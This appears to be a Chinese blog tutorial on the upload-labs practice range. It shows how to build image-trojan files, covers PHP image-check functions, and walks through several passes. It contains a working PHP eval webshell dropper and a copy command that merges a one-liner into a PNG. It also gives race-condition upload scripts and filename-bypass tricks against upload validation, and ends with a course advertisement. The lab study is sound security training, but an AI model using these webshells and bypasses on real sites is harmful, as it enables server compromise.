web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

<制作图片马>

制作图片马有两种方法,一种是文本方式打开,末尾粘贴一句话木马,令一种是使用命令进行合成。

  • 方法1

首先准备好一个图片(这里是1.png)。

![](https://img-
blog.csdnimg.cn/img_convert/e7014f3dfb5d4f03a8e15ff44cc89591.png)

将一个图片以文本格式打开(这里用的Notepad++,以记事本方式打开修改也能连接成功,不过修改后图片无法正常显示了)。

![](https://img-
blog.csdnimg.cn/img_convert/44dca281c7514dab85dbafb0652ac63f.png)

后面粘贴上一句话木马。

![](https://img-
blog.csdnimg.cn/img_convert/b39cd5aeea8041d1b6acb61336b736ea.png)

图片依然可以正常打开。

![](https://img-
blog.csdnimg.cn/img_convert/b1f7d13e166c428bb81e80619dc0a736.png)

  • 方法2

首先准备好一个图片(这里是1.png)。

再准备好一个一句话木马(这里是2.php)。

![](https://img-
blog.csdnimg.cn/img_convert/cd636702ecba49cb9665bc095fc631a3.png)

打开命令提示符,首先进入上面两个文件存放的路径。

cd C:\Users\WYR\Desktop

使用下面的命令进行图片马合成。

copy 1.png/b + 2.php/a 3.png

![](https://img-
blog.csdnimg.cn/img_convert/a11e528c803e43a78aee0778306c593e.png)

![](https://img-
blog.csdnimg.cn/img_convert/4063d1b90462478aa8c92a33231f48ff.png)

图片依然可以正常打开。

![](https://img-
blog.csdnimg.cn/img_convert/0585638bf8ce4c4683a05de2a306e05b.png)

提示:
本pass检查图标内容开头2个字节!

原码:
function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

分析源码可知此源代码是验证前缀(文件头信息)。

首先将上面创建的图片马进行上传。

![](https://img-
blog.csdnimg.cn/img_convert/badc72cd72fa4a59b1f7f9798f6cf6bb.png)

上传成功。

![](https://img-
blog.csdnimg.cn/img_convert/93734cdcf8134e758cb31b13f924824d.png)

右键点击图片复制图片路径。

![](https://img-
blog.csdnimg.cn/img_convert/30313f6627894982982e621b1b100008.png)

点击“文件包含漏洞”进入测试网页运行图片马中的恶意代码进行测试。

![](https://img-
blog.csdnimg.cn/img_convert/dddf158169944bc19128bfac97f6ef92.png)

在测试网页内的网址后添加上传的文件马的路径,然后回车运行。

![](https://img-
blog.csdnimg.cn/img_convert/d2a479753db44221a545adda32b7af93.png)

上半部分是图片内容,下半部分是一句话木马返回的内容。

+getimagesize()函数

提示:
本pass使用getimagesize()检查是否为图片文件!

原码:
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

分析源码可知存在如下语句进行验证。

$info = getimagesize($filename);

此语句就是一个检测,如果上传的文件是php格式就得不到图片的尺寸,就会返回错误,后面的代码就无法执行,文件就没办法成功上传。

此关同通关方法一样,均是将图片马上传之后,结合文件包含漏洞进行绕过,进入测试网页进行测试后,均可执行php后门代码。


知识补充:

getimagesize()函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

语法格式:
array getimagesize ( string $filename [, array &$imageinfo ] )

getimagesize() 函数将测定任何
GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP
图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。


+exif_imagetype()函数

提示:
本pass使用exif_imagetype()检查是否为图片文件!

原码:
function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

分析源码可知存在如下语句进行验证。

$image_type = exif_imagetype($filename);

此语句就是一个检测,如果上传的文件是php格式不是图片,就会返回错误,后面的代码就无法执行,文件就没办法成功上传。

此关同通关方法一样,均是将图片马上传之后,结合文件包含漏洞进行绕过,进入测试网页进行测试后,均可执行php后门代码。


知识补充:

exif_imagetype()函数是PHP中的内置函数,用于确定图像的类型。

语法格式:
intexif_imagetype( string $filename )

该函数接受单个参数$filename,该参数保存图像的名称或URL。


+imagecreatefrom 系列函数

提示:
本pass重新渲染了图片!

原码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

分析源码可知存在如下语句进行验证。

$im = imagecreatefromjpeg($target_path);
$im = imagecreatefrompng($target_path);
$im = imagecreatefromgif($target_path);

此关同通关方法一样,均是将图片马上传之后,结合文件包含漏洞进行绕过,进入测试网页进行测试后,均可执行php后门代码。


知识补充:

imagecreatefrom 系列函数用于从文件或 URL 载入一幅图像,成功返回图像资源,失败则返回一个空字符串。

该系列函数有:

imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像

imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像

imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像

imagecreatefromwbmp():创建一块画布,并从 WBMP 文件或 URL 地址载入一副图像

imagecreatefromstring():创建一块画布,并从字符串中的图像流新建一副图像

语法格式:
resource imagecreatefromgif(string filename)
resource imagecreatefromjpeg(string filename)
resource imagecreatefrompng(string filename)
resource imagecreatefromwbmp(string filename)
resource imagecreatefromstring(string image)

+move_uploaded_file()函数

提示:
需要代码审计!

原码:
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

此关涉及到了二次渲染的知识,比如我们平时在进行文件上传时,在我们上传文件后,网站会对图片进行二次处理(格式、尺寸、保存、删除要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片(标准化)并放到网站对应的标签进行显示。

而二次渲染可能会存在逻辑漏洞,就是它验证的地方是在第一步还是在第二步。

还涉及到条件竞争的知识,我们在日常生活里使用电脑可以发现,如果文件正在被使用或者查看,就无法对文件进行删除或者文件名修改等操作。

此关先创建了一个只包含图片文件的白名单,随后提取出文件的后缀名,将文件移动至上传目录后才判断文件是否合法,不合法就删除。

因此可以利用这两点,不停且迅速地上传、访问文件(可以使用使用BURP和Python脚本来实现),网站的代码就不能完成对上传文件的名称的修改,可以利用这一点防止php后缀被更改导致php代码不能正常运行。

操作流程:

Python脚本(可用可不用,可以手动进行):
import requests
url="http://127.0.0.1/upload-labs/upload/shell.php"
while True:
    web_result=requests.get(url)
    if web_result.status_code == 200:
        print("Success")
        break
    else:
        print("Failed")


2.php内容:
<?php phpinfo();?>

上传一句话木马文件后使用BURP抓包,右键数据包后,点击“Send to Intruder”发送至“Intruder”(或者使用键盘的Ctrl+I键)。

![](https://img-
blog.csdnimg.cn/img_convert/c800c5df907f44a18e040c73480e2150.png)

![](https://img-
blog.csdnimg.cn/img_convert/bf07f314e46a4e5d82cfadaf21a4641a.png)

点击“Intruder”后点击“Positions”,然后点击“Clear”。

![](https://img-
blog.csdnimg.cn/img_convert/6c3394444cf94780a4a84b91245c9c9f.png)

点击“Payloads”后,设置“Payload type”为“Null payloads”,设置“Payload Options”为“Continue
indefinitely”。

![](https://img-
blog.csdnimg.cn/img_convert/7f31aa236f0e4c69b605b6dd74a2d309.png)

进行完上面设置后,点击“Start attack”来开始不断上传该文件。

![](https://img-
blog.csdnimg.cn/img_convert/ef57259664b24da094adcce00f999672.png)

此时如果查看“upload”目录可以看到一句话木马文件会不断出现、消失、出现、消失…

然后可以选择运行脚本来不断访问该文件,也可以打开另一个浏览器输入文件路径后手动对文件进行访问。

这里展示手动访问,不断刷新网页后到某一时刻可以成功得到一句话木马执行后返回的页面。

![](https://img-
blog.csdnimg.cn/img_convert/884829e153ee4a6bb3c6128e2237a588.png)


知识补充:

move_uploaded_file() 函数把上传的文件移动到新位置。

如果成功该函数返回 TRUE,如果失败则返回 FALSE。

语法格式:
move_uploaded_file(file,newloc)

参数

|

描述

—|—

file

|

必需。规定要移动的文件。

newloc

|

必需。规定文件的新位置。

提示和注释:

注释1:该函数仅用于通过 HTTP POST 上传的文件。

注释2:如果目标文件已经存在,将会被覆盖。


提示:
需要代码审计!

原码:
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

此关和前一关非常类似,但是Pass-19进行了一个文件名过滤,因此php后缀文件就无法上传了,只能上传图片马,然后结合“文件包含漏洞”进行绕过。

上传文件后,进行白名单检测,移动文件,然后进行重命名。

将文件上传后,对文件重新命名时,同样存在条件竞争的漏洞。可以利用类似方法进行绕过,但是此时访问的地址就是文件包含的那个地址了。

操作流程:

Python脚本(可用可不用,可以手动进行):
import requests
url = "http://127.0.0.1/upload-labs/include.php?file=upload/pass19.png"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break


2.php内容:
<?php phpinfo();?>

补充:
<?php fputs(fopen('Muma.php','w'),'<?php @eval($_POST["Muma"])?>');?>

此关文件上传的路径与前面挂卡的路径不一样,在网站的根目录,为了更加方便,将文件路径仍然改到“upload”下。

![](https://img-
blog.csdnimg.cn/img_convert/4daae51bcfa14460aac89257f4284272.png)

上传一句话木马文件后使用BURP抓包,右键数据包后,点击“Send to Intruder”发送至“Intruder”(或者使用键盘的Ctrl+I键)。

![](https://img-
blog.csdnimg.cn/img_convert/7eec954f150741d18b482ddd5194c465.png)

![](https://img-
blog.csdnimg.cn/img_convert/ce305be669f64da687069dc8b965d97d.png)

点击“Intruder”后点击“Positions”,然后点击“Clear”。

![](https://img-
blog.csdnimg.cn/img_convert/0fa8d5d165144f9a93b8dc6c145286cb.png)

点击“Payloads”后,设置“Payload type”为“Null payloads”,设置“Payload Options”为“Continue
indefinitely”。

![](https://img-
blog.csdnimg.cn/img_convert/7f31aa236f0e4c69b605b6dd74a2d309.png)

进行完上面设置后,点击“Start attack”来开始不断上传该文件。

![](https://img-
blog.csdnimg.cn/img_convert/ef57259664b24da094adcce00f999672.png)

然后可以选择运行脚本来不断访问该文件,也可以打开另一个浏览器输入文件路径后手动对文件进行访问。

这里展示手动访问,不断刷新网页后到某一时刻可以成功得到一句话木马执行后返回的页面,上半部分是图片内容,下半部分是一句话木马执行后返回的内容。

![](https://img-
blog.csdnimg.cn/img_convert/6447dc0d712145a787577debace291a0.png)

提示:
本pass的取文件名通过$_POST来获取。

原码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

此关只对保存的文件后缀进行了黑名单检测,未对上传的文件类型做什么判断,其它防护全部没做。所以我们可以有多种方法进行绕过,这里将一种方法。

分析原码可以看出这些黑名单都是小写的形式,也就是说我们完全可以上传一个一句话木马然后将其”保存名称”修改为“.PHP”(改为“.php/.”也可以)后缀即可绕过。

![](https://img-
blog.csdnimg.cn/img_convert/5cbbb6a8e9f54626811de5b896d7ba58.png)

点击上传后发现成功进行了绕过。

![](https://img-
blog.csdnimg.cn/img_convert/172d5f02be76498aa2e61cbb3bc1fdd1.png)

访问发现代码可以正常执行。

![](https://img-
blog.csdnimg.cn/img_convert/4d8c096511724f07af0eb2ca57fbbbdc.png)

提示:
Pass-20来源于CTF,请审计代码!

原码:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

此关存在多重验证。

首先进行白名单验证MIME类型。

然后判断save_name参数是否为空,如果为空就把文件本来的名称赋值给“$file”,如果不为空就将“save_name”参数的值赋给它。

接下来判断“$file”是否是数组。

如果不是数组则将其拆分成数组,然后使用“end()函数”取出数组最后一个的值,取出后同白名单做比较,如果与“$allow_suffix”中的后缀匹配,就允许继续上传。

之后代码会将数组的值拼接在一起对文件进行重命名。

操作流程:

首先选中要上传的一句话木马文件“2.jpg”。

![](https://img-
blog.csdnimg.cn/img_convert/5909ef7b17044a6897eeb2b9a1c90f7b.png)

点击上传使用BURP抓包。

![](https://img-
blog.csdnimg.cn/img_convert/adf5b3be423441188c0a69cdd5d52122.png)

将数据包修改为如下样式。

![](https://img-
blog.csdnimg.cn/img_convert/7dfa4ffb47c44c0db46c7d3b2b0b3006.png)

点击放包后可以在网页内看到文件成功上传了。

![](https://img-
blog.csdnimg.cn/img_convert/533063b239004c5ba679dcda37a24649.png)

访问文件地址可以看到一句话木马成功执行了。

![](https://img-
blog.csdnimg.cn/img_convert/9a5038f9fd1f4353b4289af4cb57c73a.png)


至此upload-labs靶场全部关卡通关教程已结束

其它关卡可以参照前两篇文章


接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

  • 11
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值